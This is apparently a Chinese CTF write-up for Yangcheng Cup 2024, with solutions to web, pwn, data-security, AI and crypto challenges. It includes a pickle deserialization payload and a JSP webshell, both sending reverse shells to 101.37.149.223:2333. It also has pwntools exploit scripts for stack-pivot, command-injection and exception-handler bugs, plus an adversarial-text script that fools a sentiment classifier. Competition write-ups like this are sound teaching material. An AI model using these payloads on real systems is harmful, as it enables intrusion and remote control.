羊城杯2024WP

渗透测试中心發表於2024-10-04

羊城杯-2024

web

web2

進題資訊蒐集一下,dirsearch發現了login路由可訪問,先隨便點一下,發現了一個檔案讀取:

http://139.155.126.78:30148/lyrics?lyrics=Rain.txt

我嘗試了一下:

http://139.155.126.78:30148/lyrics?lyrics=../../../../../../../../etc/passwd

發現可以讀取:

羊城杯2024WP

本以為是任意檔案讀取,但是沒有這麼簡單。
所以先嚐試一下讀取原始碼,用那個/static/style.css進行嘗試:

羊城杯2024WP

發現讀取檔案的目錄是在/var/www/html/XXX/這個目錄下的,那麼嘗試一下讀取app.py:

羊城杯2024WP

找到原始碼了。那麼接下來就好辦了,原始碼附上:

import os
import random

from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)


class UserData:
    def __init__(self, username):
        self.username = username


def Waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid


@app.route("/", methods=['GET'])
def index():
    return render_template('index.html')


@app.route("/lyrics", methods=['GET'])
def lyrics():
    resp = make_response()
    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
    query = request.args.get("lyrics")
    path = os.path.join(os.getcwd() + "/lyrics", query)

    try:
        with open(path) as f:
            res = f.read()
    except Exception as e:
        return "No lyrics found"
    return res


@app.route("/login", methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form["username"]
        user = UserData(username)
        res = {"username": user.username}
        return set_cookie("user", res, secret=secret_code)
    return render_template('login.html')


@app.route("/board", methods=['GET'])
def board():
    invalid = cookie_check("user", secret=secret_code)
    if invalid:
        return "Nope, invalid code get out!"

    data = get_cookie("user", secret=secret_code)

    if isinstance(data, bytes):
        a = pickle.loads(data)
        data = str(data, encoding="utf-8")

    if "username" not in data:
        return render_template('user.html', name="guest")
    if data["username"] == "admin":
        return render_template('admin.html', name=data["username"])
    if data["username"] != "admin":
        return render_template('user.html', name=data["username"])


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    app.run(host="0.0.0.0", port=8080)

放到pycharm裡面,發現了兩個不存在的庫,那麼只能是呼叫當前資料夾裡面的.py結尾檔案,一個是cookie,一個是config.secret_key。

而python裡的呼叫時用.代替資料夾的,所以要找的是../cookie.py../config/secret_key.py

第一個是cookie的加密方式,第二個是cookie的一個簽名金鑰。

然後可以看到board裡面是用到了pickle.loads,並且wafs裡面有一個R字。說明打pickle反序列化的非R方向就行了。

想法:
直接用非R方向pickle序列化指令碼來打,然後用cookie的加密方法和金鑰進行簽名,拿去board裡面改cookie直接反彈shell就能出了。

先去把cookie.py讀取:

羊城杯2024WP

原始碼:

import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str


# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None


def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid


def cookie_check(key, secret=None):
    a = request.cookies.get(key)
    data = tob(request.cookies.get(key))
    if data:
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)
                if waf(res):
                    return True
                else:
                    return False
        return True
    else:
        return False


def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
    value = request.cookies.get(key)
    if secret and value:
        dec = cookie_decode(value, secret)
        return dec[1] if dec and dec[0] == key else default
    return value or default


def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        resp = make_response("success")
        resp.set_cookie("user", value, max_age=3600)
        return resp
    elif not isinstance(value, basestring):
        raise TypeError('Secret key missing for non-string Cookie.')

    if len(value) > 4096:
        raise ValueError('Cookie value to long.')


def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

這裡面需要用到的就是cookie的加密過程,就是cookie_encode這個函式。

然後我們去讀一下secret_key:

羊城杯2024WP

然後直接把指令碼其他東西刪了,用它的secret_code和cookie_encrypt進行加密就可以了,指令碼附上:

import base64
import hashlib
import hmac
import pickle
from flask import make_response, request

from flask import Flask, make_response

app = Flask(__name__)

unicode = str
basestring = str  # Quoted from python bottle template, thanks :D


def cookie_encode(data, key):
    msg = base64.b64encode(data)
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg

def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid
def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)

if __name__ == "__main__":
    res=b'''(S'bash -c 'sh -i >& /dev/tcp/101.37.149.223/2333 0>&1''\nios\nsystem\n.'''
    secret_code = "EnjoyThePlayTime123456"
    cookie_value = cookie_encode(res, key=secret_code)
    print(cookie_value)

執行獲得:

羊城杯2024WP

然後我們複製到/board路由的cookie裡面,並且伺服器監聽2333埠,直接彈上shell了:

羊城杯2024WP

羊城杯2024WP

根目錄下的readflag直接執行,獲得flag。

web3

進入之後訪問/myapp。然後去訪問/read進行檔案的讀取,網上找到一個文章:

https://www.cnblogs.com/Junglezt/p/18122284

可以發現tomcat許多的/conf/tomcat-users.xml是不會修改的,那麼password就在裡面。

羊城杯2024WP

然後找到之後,進入login進行登入:
登入之後發現可以進行upload的操作,然後這裡發現了一個點:

羊城杯2024WP

如果輸入了web.xml,就一定會被ban掉,而檔案上傳是沒有任何過濾的。

既然只能用xml這樣的配置檔案,那麼能不能把配置檔案改了,然後直接將xml識別為jsp的一個xml的配置檔案,並傳入1.xml就可以了:

羊城杯2024WP

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <servlet>
        <servlet-name>exec</servlet-name>
        <jsp-file>/WEB-INF/1.xml</jsp-file>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>exec</servlet-name>
        <url-pattern>/exec</url-pattern>
    </servlet-mapping>
</web-app>

然後我們嘗試傳入1.xml,看看能不能識別為jsp檔案,傳入的是一句話木馬:

<%
    out.println("Hello");
    Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

羊城杯2024WP

讀取用絕對路徑讀取,然後絕對路徑在那個/env路由裡面有。並且可以問chat得到。然後發現訪問成功之後,我們去訪問配置檔案定義的/exec路由,並傳入cmd引數,隨便傳一個,看看能不能回顯hello就可以了:

羊城杯2024WP

可以看到成功回顯,說明jsp木馬傳入,我們直接用jsp反彈shell來打:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzcuMTQ5LjIyMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}

其中base64加密內容為:

bash -i >& /dev/tcp/101.37.149.223/2333 0>&1

然後我們監聽2333埠,看看能不能彈shell:

羊城杯2024WP

成功彈上了。然後就得到了flag。

資料安全

資料安全1

羊城杯2024WP

給了個這樣的person_data,看示例和題目可知,需要把8項正確排序,沒什麼好說的,一個表格的直接讀取一點一點if過去就好了,(指令碼寫的很普通)指令碼附上:

import csv


def classify_data(data,k):
    if not isinstance(data, str):
        return None
    if data.isdigit() and 1 <= int(data) <= 10000:
        return 0
    if data in ['男', '女']:
        return 4
    if ord(data[0]) in range(0x4e00, 0x9fff) or ord(data[0]) in range(0x3400, 0x4dbf) or ord(data[0]) in range(0x20000, 0x2a6df) or False:  # 如果沒有其他條件了,這裡用False,但實際上是多餘的
        return 3
    if len(data) == 32:
        return 2
    if data.isdigit() and len(data) == 8:
        return 5

    if data[6:14] in k:
        return 6
    prefixes = ('734', '735', '736', '737', '738', '739', '747', '748', '750', '751', '752', '757', '758', '759', '772','778', '782', '783', '784', '787', '788', '795', '798', '730', '731', '732', '740', '745', '746', '755','756', '766', '767', '771', '775', '776', '785', '786', '796', '733', '749', '753', '773', '774', '777','780', '781', '789', '790', '791', '793', '799')
    if data.startswith(prefixes):
        return 7

    else:
        return 1

# 假設CSV檔案的路徑是'data.csv'
csv_file_path = 'person_data.csv'
new=[]
rows=[]
# 開啟CSV檔案
with open(csv_file_path, mode='r', encoding='utf-8') as file:
    # 建立一個csv.reader物件來讀取檔案
    csv_reader = csv.reader(file)
    # 遍歷CSV檔案的每一行
    for row_number, row in enumerate(csv_reader, start=1):
        if row==['編號', '使用者名稱', '密碼', '姓名', '性別', '出生日期', '身份證號', '手機號碼']:
            rows.append(row)
            continue
        new = [0, 0, 0, 0, 0, 0, 0, 0]
        for i in row:
            new[classify_data(i,row)]=i
        rows.append(new)
with open("person_data2.csv", mode='w', newline='', encoding='utf-8') as file:
    csv_writer = csv.writer(file)
    csv_writer.writerows(rows)

這些電話號碼檢測在題目示例裡面給了。然後直接寫入新的csv檔案,然後直接提交就行了。

資料安全2

(這題成功拿下100.00%的相同率)

先用自帶的tshark和python的pyshark模組進行wireshark檔案的內容的讀取。

之前嘗試了一下用wireshark自帶的HTTP包匯出,只能匯出500條資料,總共有8000條資料,所以只能用python來跑。

這裡直接附上指令碼,這個獲取大括號裡面的內容就是所有需要的資訊:username啥的:

import pyshark
import json

cap = pyshark.FileCapture(input_file='data.pcapng', tshark_path='D:\\Wireshark\\tshark.exe',use_json=True,include_raw=True)
file_path = 'data.pcapng'
json_data_list = []

for packet in cap:
    print(packet)
    try:
        raw_packet = packet.get_raw_packet()
        json_start = raw_packet.index(b'{"')  # 查詢 JSON 資料的起始位置
        json_data = raw_packet[json_start:]  # 提取 JSON 資料
        print(json_data)  # 除錯輸出 JSON 資料
        json_data_list.append(json_data.decode('utf-8'))  # 儲存 JSON 資料到列表中
    except Exception as e:
        print(f"異常: {e}")

# 將提取的 JSON 資料儲存到 JSON 檔案中
with open('data.json', 'w', encoding='utf-8') as f:
    json.dump(json_data_list, f, ensure_ascii=False, indent=4)

然後我們直接拿到了data.json檔案。這裡面有8000條資料,都是需要的,然後我們就用判斷直接判斷錯誤的內容。

羊城杯2024WP

這裡又是附上屎山程式碼:

import csv
import json

xishu=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
jiaoyan=["1","0","X","9","8","7","6","5","4","3","2"]
alpha="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
digit="0123456789"
dot=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
phone=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,780, 781, 789, 790, 791, 793, 799]

def check(data):
    for i in dot:
        if i in data[0] or i in data[1] or i in data[2] or i in data[3] or i in data[4] or i in data[5]:
            return 0
    for i in data[1]:
        if i in digit or i in alpha:
            return 0
    if data[2]!="男" and data[2]!="女":
        return 0
    if data[3] not in data[4]:
        return 0
    if (data[2]=="男" and int(data[4][-2])%2==0) or (data[2]=="女" and int(data[4][-2])%2==1):
        return 0
    sum=0
    for i in range(len(data[4])-1):
        sum += (int(data[4][i])*xishu[i])
    if jiaoyan[sum%11]!=data[4][-1]:
        return 0
    if int(data[5][:3]) not in phone:
        return 0
    return 1

# 讀取 JSON 檔案
with open('data.json', 'r', encoding='utf-8') as f:
    data_list = json.load(f)

# 處理資料
new_data = []
for item in data_list:
    # 將字典轉換為列表
    item=json.loads(item)
    data = [item.get('username', ''), item.get('name', ''), item.get('sex', ''), item.get('birth', ''), item.get('idcard', ''), item.get('phone', '')]
    print(data)  # 列印資料以檢查轉換結果
    if len(data) == 6:
        if not check(data):
            new_data.append(data)

# 將結果寫入 CSV 檔案
with open('person_data2.csv', mode='w', newline='', encoding='utf-8') as file:
    csv_writer = csv.writer(file)
    # 寫入 CSV 檔案的表頭
    csv_writer.writerow(['username', 'name', 'sex', 'birth', 'idcard', 'phone'])
    # 寫入資料
    csv_writer.writerows(new_data)

print("檢查結果已儲存到 'person_data2.csv' 檔案中。")

前面那些東西都是題目給的,然後這麼跑出來之後,獲取了一個person_data2.csv檔案。然後直接提交,這裡也是拿下了100%的相同率。

資料安全3

給的附件是幾個log,就是幾個日誌檔案。其中我們需要做的就是把error.log的檔案中的相關資料提取出來。

這裡有一個細節:

羊城杯2024WP

在輸入了所有內容資訊之後,還會有一個判斷,說是使用者名稱不存在或者是輸入密碼:。如果有密碼我們就要把密碼拿下來,然後再切片、擷取到題目所需要的位置,如果沒有就正常刪除,這裡又寫了一個屎山程式碼,直接附上了:

import csv
import urllib.parse
import hashlib

xishu=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
jiaoyan=["1","0","X","9","8","7","6","5","4","3","2"]
alpha="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
digit="0123456789"
dot=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
phone=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,780, 781, 789, 790, 791, 793, 799]

def md5_encrypt(input_string):
    # 建立一個md5 hash物件
    md5_hash = hashlib.md5()

    # 更新hash物件以字串值(需要先編碼為位元組串)
    md5_hash.update(input_string.encode('utf-8'))

    # 獲取十六進位制數格式的hash值,並轉換為小寫
    return md5_hash.hexdigest()
def check(data):
    for i in dot:
        if i in data[0] or i in data[1] or i in data[2] or i in data[3] or i in data[4]:
            return 0
    for i in data[2]:
        if i in digit or i in alpha:
            return 0
    sum=0
    for i in range(len(data[3])-1):
        sum += (int(data[3][i])*xishu[i])
    if jiaoyan[sum%11]!=data[3][-1]:
        return 0
    if int(data[4][:3]) not in phone:
        return 0
    return 1

def read_log_until_next_bracket(filepath):
    new=[['username','password','name','idcard','phone']]
    """
    讀取指定的日誌檔案,在遇到包含'username'的行時,繼續讀取直到遇到下一個'['符號或檔案結束。
    """
    try:
        with open(filepath, 'r', encoding='utf-8') as file:
            current_block = ""  # 用於儲存從'username'開始到'['之前的所有內容
            reading = False  # 標記是否開始讀取塊

            for line in file:
                if "username" in line:
                    # 如果當前行包含'username',則開始讀取塊
                    reading = True
                    current_block += line  # 新增當前行到塊中
                elif "\\xe6\\x82\\xa8\\xe8\\xbe\\x93\\xe5\\x85\\xa5\\xe7\\x9a\\x84\\xe7\\x94" in line:
                    current_block = ""
                    reading = False
                elif reading:
                    # 如果已經開始讀取塊,則繼續新增行到塊中
                    if "\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba" in line:
                        # 如果當前行包含'[',則停止讀取塊並列印
                        # 注意:這裡只列印到'['之前的部分(如果需要)
                        # 或者你可以選擇保留整個塊直到'['
                        idx = line.find("\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba")
                        if idx != -1:  # 確保'['確實存在
                            current_block += line
                            tmp=(current_block.strip()[143:])  # 列印並去除首尾空白
                            edx = line
                            tmp=(tmp.split('&'))
                            tmp[3]=(tmp[3].split('\n'))
                            tmp.append(tmp[3])
                            tmp[3]=tmp[4][0]
                            tmp[4]=tmp[4][-1][-30:][:-2]
                            tmp[4]=tmp[4].split(": ")[1]
                            tmp.append(tmp[4])
                            tmp[4]=tmp[3]
                            tmp[3]=tmp[2]
                            tmp[2]=tmp[1]
                            tmp[1]=tmp[5]
                            tmp.pop()
                            tmp[0]=urllib.parse.unquote(tmp[0][9:])
                            tmp[2] = urllib.parse.unquote(tmp[2][5:])
                            tmp[3] = urllib.parse.unquote(tmp[3][7:])
                            tmp[4] = urllib.parse.unquote(tmp[4][6:])
                            if not check(tmp):
                                current_block = ""
                                tmp=[]
                                reading = False
                                continue
                            if len(tmp[0])==1:
                                pass
                            elif len(tmp[0])==2:
                                tmp[0]=tmp[0][0]+"*"
                            else:
                                tmp[0]=tmp[0][0]+(len(tmp[0])-2)*"*"+tmp[0][-1]

                            tmp[1]=md5_encrypt(tmp[1])

                            if len(tmp[2])==2:
                                tmp[2]=tmp[2][0]+"*"
                            else:
                                tmp[2]=tmp[2][0] + (len(tmp[2])-2)*"*"+tmp[2][-1]
                            tmp[3]="******"+tmp[3][6:10]+"********"
                            tmp[4]=tmp[4][:3]+"****"+tmp[4][-4:]
                            new.append(tmp)
                            current_block = ""  # 重置塊
                            reading = False  # 停止讀取
                    else:
                        current_block += line  # 否則,繼續新增整行到塊中
            print(new)
            with open("person_data2.csv", mode='w', newline='', encoding='utf-8') as file:
                csv_writer = csv.writer(file)
                csv_writer.writerows(new)


    except FileNotFoundError:
        print(f"檔案 {filepath} 未找到。")

    # 呼叫函式,傳入日誌檔案路徑


read_log_until_next_bracket('error.log')

寫了點註釋,大體意思就是將他們都用正常的方式排序完之後,用題目給的pdf的判斷方法進行判斷,從而將他們變成題目所需的樣子,然後再匯出到一個新的表格中直接提交就行了。

AI

AI 1

AI這個第一題是一個非常常見的一個AI,就是用不同構造的字串或者語句,讓AI回顯出現紊亂。

那麼這裡有一些方法:

修改注入語句,但是這樣就會導致重複率低於75%,所以不可取。

直接用chat進行語句的修改,並且嘗試多次注入,這樣用更智慧的ai來繞過ai也是可行的。不過這個方法不僅麻煩,而且成功率如果想要到達90%需要大量的時間成本。

我用的是最後一種方法,也是比較流行的一個方法,就是錯別字注入,或者說是故意改錯一些進行繞過。或者使用同義字進行繞過。

羊城杯2024WP

題目的另一個附件是這個資料夾,將此資料夾和寫出的py檔案和題目附件放在一個位置。

這裡指令碼讓GPT寫了又改,最後差不多是這樣:

import pandas as pd
import nltk
from nltk.corpus import wordnet
from transformers import AutoTokenizer, AutoModelForSequenceClassification
import torch
from sklearn.metrics.pairwise import cosine_similarity

# 設定裝置(CPU 或 GPU)
device_type = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print(f"當前使用的裝置: {device_type}")

# 載入預訓練模型和tokenizer
text_tokenizer = AutoTokenizer.from_pretrained("Sentiment_classification_model")
classification_model = AutoModelForSequenceClassification.from_pretrained(
    "Sentiment_classification_model"
).to(device_type)


def get_related_words(word):
    """生成單詞的同義詞列表"""
    related_words = set()
    for synset in wordnet.synsets(word):
        for lemma in synset.lemmas():
            related_words.add(lemma.name().replace("_", " "))
    return list(related_words)


def make_typo(word):
    """在單詞中引入拼寫錯誤"""
    if len(word) > 3:
        index = 1
        word = word[:index] + word[index + 1] + word[index] + word[index + 2:]
    return word


def modify_text(input_text):
    """對文字進行詞彙替換和拼寫錯誤引入"""
    token_list = nltk.word_tokenize(input_text)
    pos_tags = nltk.pos_tag(token_list)
    modified_texts = []

    for idx, (token, tag) in enumerate(pos_tags):
        if tag.startswith("NN") or tag.startswith("JJ") or tag.startswith("RB"):
            related_words = get_related_words(token)
            for synonym in related_words:
                temp_tokens = token_list[:idx] + [synonym] + token_list[idx + 1:]
                modified_texts.append(" ".join(temp_tokens))

            typo_variant = make_typo(token)
            typo_tokens = token_list[:idx] + [typo_variant] + token_list[idx + 1:]
            modified_texts.append(" ".join(typo_tokens))

    return modified_texts


def calculate_similarity(sentence1, sentence2, model, tokenizer):
    """計算兩個文字之間的餘弦相似度"""
    model.eval()

    encoded_text1 = tokenizer(
        sentence1, return_tensors="pt", padding=True, truncation=True, max_length=512
    ).to(device_type)
    encoded_text2 = tokenizer(
        sentence2, return_tensors="pt", padding=True, truncation=True, max_length=512
    ).to(device_type)

    with torch.no_grad():
        outputs_text1 = model(**encoded_text1)
        hidden_state1 = outputs_text1.logits.mean(dim=1)

        outputs_text2 = model(**encoded_text2)
        hidden_state2 = outputs_text2.logits.mean(dim=1)

    sim_score = cosine_similarity(
        hidden_state1.cpu().numpy(), hidden_state2.cpu().numpy()
    )[0][0]

    return sim_score


def generate_adversarial_text(
    source_text, true_label, model, tokenizer, sim_threshold=0.75, attempts=5
):
    """生成具有攻擊性的文字"""
    current_text = source_text
    for _ in range(attempts):
        candidate_texts = modify_text(current_text)

        if not candidate_texts:
            return current_text

        for candidate in candidate_texts:
            sim_score = calculate_similarity(source_text, candidate, model, tokenizer)

            if sim_score >= sim_threshold:
                input_data = tokenizer(candidate, return_tensors="pt").to(device_type)
                output_prediction = model(**input_data)[0]
                pred_label = torch.argmax(output_prediction, dim=1).item()

                if pred_label != true_label:
                    return candidate

        current_text = candidate_texts[0]

    return current_text


# 讀取CSV檔案
data = pd.read_csv("original_text.csv")

# 儲存結果
results_data = []

# 生成對抗性文字
for i, row in data.iterrows():
    original_sentence = row["text"]
    actual_label = row["original_label"]
    adversarial_sentence = generate_adversarial_text(
        original_sentence,
        actual_label,
        classification_model,
        text_tokenizer,
        sim_threshold=0.75,
        attempts=5,
    )

    results_data.append({"id": row["id"], "attacked_text": adversarial_sentence})

# 將結果轉換為DataFrame
result_df = pd.DataFrame(results_data)

# 儲存為CSV檔案
result_df.to_csv("attacked_text.csv", index=False)

# 輸出部分結果,驗證輸出格式
print(result_df.head())

然後跑出來的東西拿去交,發現透過率高達87%:

羊城杯2024WP

感受到來自出題人的溫暖,說好90%。結果87%的時候flag就被爆出來了。

pwn

pstack

標準的棧遷移,利用read完成三次棧遷移就可以,唯一要注意的就是bss段的地址,不要取開頭,這樣洩露libc的時候會卡死不動

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn')
libc=ELF('libc.so.6')
#io=process('./pwn')
io=remote('139.155.126.78',31425)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi=0x400773
read=0x4006C4
leave=0x4006DB
bss=0x601500
vuln=0x4006B0
rbp=0x4005b0
ret=0x400506
io.recv()
#gdb.attach(io,'b main')
payload=b'a'*0x30+p64(bss+0x30)+p64(read)
io.send(payload)
payload=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rbp)+p64(bss+0x300+0x30)+p64(read)+p64(bss-8)+p64(leave)
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym["puts"]
print("libc_base: ", hex(libc_base))
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload=b'a'*8+p64(rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr)+p64(0)+p64(bss+0x300)+p64(leave)
io.sendline(payload)
io.interactive()

羊城杯2024WP

httpd

羊城杯2024WP

程式會先跳到/home/ctf/html的路徑下

羊城杯2024WP

我們的haystack是自己輸入的,這裡的popen函式就比較危險,可以執行haystack中指定的命令

羊城杯2024WP

所以思路就很明確,因為flag在根目錄,所以我們先利用上面的漏洞,把flag複製到/home/ctf/html下,然後第二次直接讀就行

from pwn import *
io = remote('139.155.126.78',32514)
payload=b'get /cp%20/flag%20/home/ctf/html HTTP/1.0'
io.sendline(payload)
io.sendline('Host: '+'127.0.0.1')
io.sendline('Content-Length: '+ '80')
io.close()
io = remote('139.155.126.78',32514)
haystack='/flag'
payload=b'get /flag HTTP/1.0'
io.sendline(payload)
io.sendline('Host: '+'127.0.0.1')
io.sendline('Content-Length: '+ '80')
io.interactive()

羊城杯2024WP

logger

不說了,我就是天才,現場學了一下異常處理

羊城杯2024WP

1號裡面有一個陣列溢位,可以修改到src

羊城杯2024WP

重點其實在第二個選項

羊城杯2024WP

這個異常處理沒有catch,而且題目沒有pop rbp ret,所以沒辦法打orw,但是注意到,其實是有system函式的,而且題目有三個異常捕捉,除了這個都是有catch的,而且就在這裡,呼叫了system函式

羊城杯2024WP

我們只需要把返回地址改成這個catch,scr段會被當成system的引數,透過1把src改掉就行(前面不能隨意填充垃圾資料,比如都是a,得放一堆地址,不然最後的引數裡面也有一堆a)

from pwn import *
#io=process('./pwn')
io=remote('139.155.126.78',38895)
#gdb.attach(io,'b *0x4018E0')
def trace(content):
    io.recvuntil(b'Your chocie:')
    io.sendline(str(1))
    io.recvuntil(b'You can record log details here:')
    io.sendline(content)
    io.recvuntil(b'Do you need to check the records?')
    io.sendline(b'N')

def warn(content):
    io.recvuntil(b'Your chocie:')
    io.sendline(str(2))
    io.recvuntil(b'[!] Type your message here plz')
    io.send(content)

leave=0x4015a9
ret=0x40101a
bss=0x404420
src=0x4040A0
input=0x404020
catch=0x401BC7
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'a'*0x10)
trace(b'/bin/sh\x00')
io.recv()
warn(p64(bss-8)*15+p64(catch))
#warn(p64(bss-8)*15+p64(catch))
io.interactive()

羊城杯2024WP

拿下!

Crypto

一、 TheoremPlus

在威爾遜定理中,當e為素數時,結果為-1,當e不為素數時,結果0,除了4和2。在求解一個素數下有多少個小素數時,可以使用埃氏篩法。

import gmpy2
import libnum

n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566

'''x = gmpy2.iroot(n,2)[0]
while n%x !=0 :
    x -= 1
p = x
q = n//p
print(q)
print(p)'''

def decode_e(e):
    if e > 1:
        mul = 1
        for i in range(1, e):
            mul *= i
        if e - mul % e - 1 == 0:
            mulmod = mul % e - e
        else:
            mulmod = mul % e
        return mulmod + decode_e(e - 1)
    else:
        return 0

q = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557219
p = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557429
e = 36421874 - 1  #去掉703440151,1

phi_n = (p-1)*(q-1)
d = gmpy2.invert(e,phi_n)
m = pow(c,d,n)
print(libnum.n2s(int(m)))

'''
def couPrime(N):
    primeList = [True]*N
    for i in range(2,N):
        if(primeList[i]):
            for j in range(2*i,N,i):
                primeList[j]=False
    cou = primeList.count(True)-2
    return cou
print(couPrime(703440151))
#36421874
'''
#DASCTF{Ot2N63D_n8L6kJt_f40V61m_zS1O8L7}

二、TH_Curve

首先利用已知的點求出引數d,將Twisted Hessian curves轉化為weierstrass曲線,即寫出引數a0,a1,a2,a3,a4,a6,並且將已知點也轉化。利用Pohlig-Hellman演算法計算離散對數。

import gmpy2
import libnum

p = 10297529403524403127640670200603184608844065065952536889
x1 = 8879931045098533901543131944615620692971716807984752065
y1 = 4106024239449946134453673742202491320614591684229547464
d = (2*x1**3+y1**3+1)*gmpy2.invert(x1*y1,p) % p
a = 2

x2 = 6784278627340957151283066249316785477882888190582875173
y2 = 6078603759966354224428976716568980670702790051879661797


a0 = 1
a1 = - 3 *(d/3) / (a - (d/3) *(d/3) *(d/3))
a3 = - 9 / ((a - (d/3)* (d/3) *(d/3)) *(a - (d/3) *(d/3)* (d/3)))
a2 = - 9 *(d/3) *(d/3) / ((a - (d/3) *(d/3) *(d/3)) * (a - (d/3)* (d/3)* (d/3)))
a4 = - 27 *(d/3) / ((a - (d/3)* (d/3)* (d/3))* (a - (d/3) *(d/3) *(d/3)) *(a - (d/3)* (d/3)* (d/3)))
